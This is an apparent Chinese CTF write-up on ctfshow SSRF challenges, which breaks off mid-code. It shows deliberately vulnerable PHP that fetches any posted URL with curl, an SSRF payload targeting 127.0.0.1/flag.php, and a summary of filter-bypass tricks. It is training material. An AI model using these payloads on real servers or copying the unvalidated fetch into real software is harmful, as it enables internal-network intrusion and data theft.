ctfshow-SSRF

最新推荐文章于 2022-05-06 21:10:00 发布

Anfy1

最新推荐文章于 2022-05-06 21:10:00 发布

阅读量497

点赞数

分类专栏： SSRF

本文链接：https://blog.csdn.net/qq_45655564/article/details/118378689

版权

这篇博客详细介绍了CTF比赛中遇到的多种SSRF（Server-Side Request Forgery）过滤场景，包括但不限于普通SSRF本地访问、过滤127.0.0.1和localhost的对策、利用16进制或二进制绕过、域名解析修改、DNS重绑定和302跳转等技巧。通过这些实例，读者可以深入理解SSRF漏洞的防御和利用方法。

摘要由CSDN通过智能技术生成

web351-普通的ssrf本地访问

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

payload:url=http://127.0.0.1/flag.php

web352-过滤了127.0.0.1和localhost

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
   
if(!preg_match('/localhost|127.0.0/')){
   
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);